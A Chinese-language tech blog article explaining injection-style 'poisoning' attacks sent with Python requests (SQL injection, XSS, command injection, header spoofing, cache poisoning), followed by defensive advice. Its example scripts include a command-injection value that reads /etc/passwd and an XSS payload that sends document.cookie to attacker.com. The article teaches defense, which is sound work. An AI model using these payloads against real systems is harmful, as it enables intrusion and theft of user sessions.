杰瑞科技汇

Python request投毒是什么?如何防范?

“投毒”这个词比较宽泛,我们可以把它分为几个主要类别,我会逐一解释并提供 Python requests 的示例代码。

Python request投毒是什么?如何防范?-图1
(图片来源网络,侵删)

核心思想

HTTP 请求投毒的核心在于,服务器在处理请求时,可能会错误地解析或信任请求中的某些部分,攻击者利用这些“信任漏洞”,注入恶意数据,以达到攻击目的。


参数投毒

这是最常见的投毒形式,攻击者通过修改 URL 查询参数、POST 请求体数据或 HTTP 头部,来传递恶意信息,期望服务器端没有进行严格的校验和处理。

SQL 注入

如果服务器直接将用户提供的参数拼接到 SQL 查询语句中,就会发生 SQL 注入。

脆弱的服务器端代码 (伪代码):

Python request投毒是什么?如何防范?-图2
(图片来源网络,侵删)
# user_id 是从 HTTP 请求中获取的
user_id = request.args.get('user_id')
query = "SELECT * FROM users WHERE id = " + user_id # 漏洞!

攻击者的 Python requests 代码:

import requests
# 原始请求
# url = "http://example.com/get_user?user_id=1"
# 恶意请求:尝试获取所有用户
malicious_url = "http://example.com/get_user?user_id=1 OR 1=1"
try:
    response = requests.get(malicious_url)
    if response.status_code == 200:
        print("SQL 注毒可能成功!")
        print("响应内容:", response.text)
    else:
        print("请求失败,状态码:", response.status_code)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

跨站脚本攻击

如果服务器将用户提供的参数直接返回到 HTML 页面中,没有进行转义,就可能引发 XSS。

脆弱的服务器端代码 (伪代码):

# search_term 是从 HTTP 请求中获取的
search_term = request.args.get('search_term')
# 直接返回到页面,没有转义
return f"<h1>搜索结果: {search_term}</h1>" # 漏洞!

攻击者的 Python requests 代码:

Python request投毒是什么?如何防范?-图3
(图片来源网络,侵删)
import requests
# 恶意请求:注入一个 JavaScript 弹窗
malicious_url = "http://example.com/search?search_term=<script>alert('XSS')</script>"
try:
    response = requests.get(malicious_url)
    if response.status_code == 200:
        print("XSS 投毒请求已发送。")
        # 如果服务器没有转义,受害者在访问这个页面时就会弹窗
        print("响应内容:", response.text)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

命令注入

如果服务器将用户输入拼接到系统命令中,就可能发生命令注入。

脆弱的服务器端代码 (伪代码):

# filename 是从 HTTP 请求中获取的
filename = request.args.get('filename')
# 直接拼接到 shell 命令中
os.system(f"cat /var/www/html/files/{filename}") # 漏洞!

攻击者的 Python requests 代码:

import requests
# 恶意请求:尝试读取 /etc/passwd 文件
# ; 是 shell 命令分隔符
malicious_url = "http://example.com/view_file?filename=test.txt; cat /etc/passwd"
try:
    response = requests.get(malicious_url)
    if response.status_code == 200:
        print("命令注入投毒可能成功!")
        print("响应内容:", response.text)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

HTTP 头部投毒

服务器有时会信任或使用某些 HTTP 头部信息来处理逻辑,攻击者可以伪造这些头部。

Host 头部投毒

一些服务器根据 Host 头部来决定加载哪个网站的内容(虚拟主机),如果服务器校验不严,攻击者可能利用此漏洞进行缓存投毒或内容混淆。

脆弱的服务器端逻辑 (伪代码):

# 根据 Host 头部来获取网站配置
host = request.headers.get('Host')
config = get_config_for_host(host) # 漏洞!host 是恶意的
# ... 使用 config 来处理请求 ...

攻击者的 Python requests 代码:

import requests
url = "http://example.com/" # 目标 URL
# 恶意的 Host 头部
headers = {
    'Host': 'evil.com',
    'User-Agent': 'My-Custom-Agent'
}
try:
    response = requests.get(url, headers=headers)
    # 如果服务器逻辑有漏洞,可能会返回 'evil.com' 的配置或内容
    print("使用恶意 Host 头部的响应状态码:", response.status_code)
    print("响应头:", response.headers)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

Referer 或 User-Agent 投毒

服务器有时会根据 Referer(请求来源)或 User-Agent(客户端类型)来提供不同的内容或进行权限判断,攻击者可以伪造这些信息来绕过限制。

import requests
url = "http://example.com/api/vip-content" # 假设这个接口只允许来自特定网站的请求
# 伪造 Referer,让它看起来来自一个受信任的网站
headers = {
    'Referer': 'https://trusted-partner.com'
}
try:
    response = requests.get(url, headers=headers)
    print("伪造 Referer 的响应状态码:", response.status_code)
    print("响应内容:", response.text)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

JSON/XML 投毒

对于 REST API 或其他基于数据格式的服务,投毒发生在请求体中。

JSON 注入

与 SQL/XSS 注入类似,如果服务器直接解析并信任 JSON 中的数据,就可能被利用。

脆弱的服务器端代码 (伪代码):

import json
data = json.loads(request.body)
# data 中包含恶意字段,并且被直接使用,就可能出问题
user_profile = data.get('profile')
# ...

攻击者的 Python requests 代码:

import requests
import json
url = "http://example.com/api/update_profile"
# 恶意的 JSON 数据,可能包含注入 payload
malicious_payload = {
    "username": "hacker",
    "profile": "<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>"
}
try:
    response = requests.post(url, json=malicious_payload)
    print("JSON 投毒请求已发送,状态码:", response.status_code)
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

缓存投毒

这是一种更高级的攻击,攻击者发送一个精心构造的请求,导致服务器或 CDN 缓存服务器将恶意响应与一个良性的 URL 关联起来,之后,所有访问该 URL 的合法用户都会收到恶意响应。

攻击者思路:

  1. 发送一个请求,http://example.com/avatar.jpg,但请求头中包含一些特殊信息。
  2. 服务器或 CDN 误判,将一个恶意的响应(包含钓鱼代码的 HTML 页面)缓存下来,并将其与 avatar.jpg 这个 URL 关联。
  3. 当你或任何其他用户访问 http://example.com/avatar.jpg 时,会从缓存中直接获取到那个恶意页面。

Python requests 在其中的角色: 攻击者使用 requests触发这个缓存投毒过程。

import requests
# 这是一个用于触发缓存投毒的示例
# 目标是让服务器缓存一个错误的响应
url = "http://example.com/avatar.jpg"
# 构造一个特殊的请求,可能会被服务器错误地处理
# 包含一个不常被使用的头部,或者一个特殊的查询参数
headers = {
    'X-Custom-Header': 'malicious_value_for_caching',
    'Accept': 'text/html' # 服务器可能根据这个 Accept 头返回 HTML 而不是图片
}
try:
    print("正在发送请求以触发缓存投毒...")
    response = requests.get(url, headers=headers, timeout=10)
    print("触发请求状态码:", response.status_code)
    # 如果服务器缓存了错误的响应,攻击就成功了
except requests.exceptions.RequestException as e:
    print(f"请求发生错误: {e}")

如何防御“投毒”攻击?

作为开发者,你的责任是构建安全的系统,防御的核心原则是:永远不要信任来自外部的输入

  1. 输入验证与净化

    • 对所有用户输入(URL 参数、请求体、头部)进行严格的验证。
    • 使用白名单(只允许已知的好字符)而不是黑名单(禁止已知的坏字符)。
    • 对于用户名,只允许字母、数字和下划线。
  2. 使用参数化查询

    • 防御 SQL 注入:永远不要用字符串拼接 SQL,使用数据库驱动的参数化查询或预编译语句。
    • 正确示例 (Python with SQLAlchemy):
      # 安全的方式
      stmt = text("SELECT * FROM users WHERE id = :user_id")
      result = connection.execute(stmt, {"user_id": user_id})
  3. 对输出进行编码

    • 防御 XSS:在将用户输入输出到 HTML 页面之前,对其进行 HTML 实体编码。
    • 正确示例 (Python with Jinja2):
      <!-- 在 Jinja2 模板中,使用 |e 过滤器自动转义 -->
      <h1>搜索结果: {{ search_term | e }}</h1>
  4. 避免执行外部命令

    • 防御 命令注入:尽量避免调用系统命令,如果必须调用,请确保对输入进行严格的清理,并使用 subprocess 模块的 runPopen,并传递参数列表,而不是字符串。
  5. 实施最小权限原则

    • 运行 Web 应用的用户账户(如 www-data)应该只拥有完成任务所必需的最小权限,避免它能够读取 /etc/passwd 等敏感文件。
  6. 安全的配置

    • 正确配置 Web 服务器和应用程序,避免信息泄露。
    • 对于 Host 头部,确保服务器有合理的默认处理逻辑,而不是完全信任它。

Python requests 库本身是中立的,它只是一个发送和接收 HTTP 请求的工具。“投毒”攻击的根源在于目标服务器的脆弱性,而不是 requests 库。

攻击者使用 requests构造和发送恶意的 HTTP 请求,以利用这些服务器漏洞,而防御方则需要通过编写健壮、安全的后端代码来抵御这些攻击,理解这些攻击的原理,有助于你写出更安全的 API 和 Web 应用。

分享:
扫描分享到社交APP
上一篇
下一篇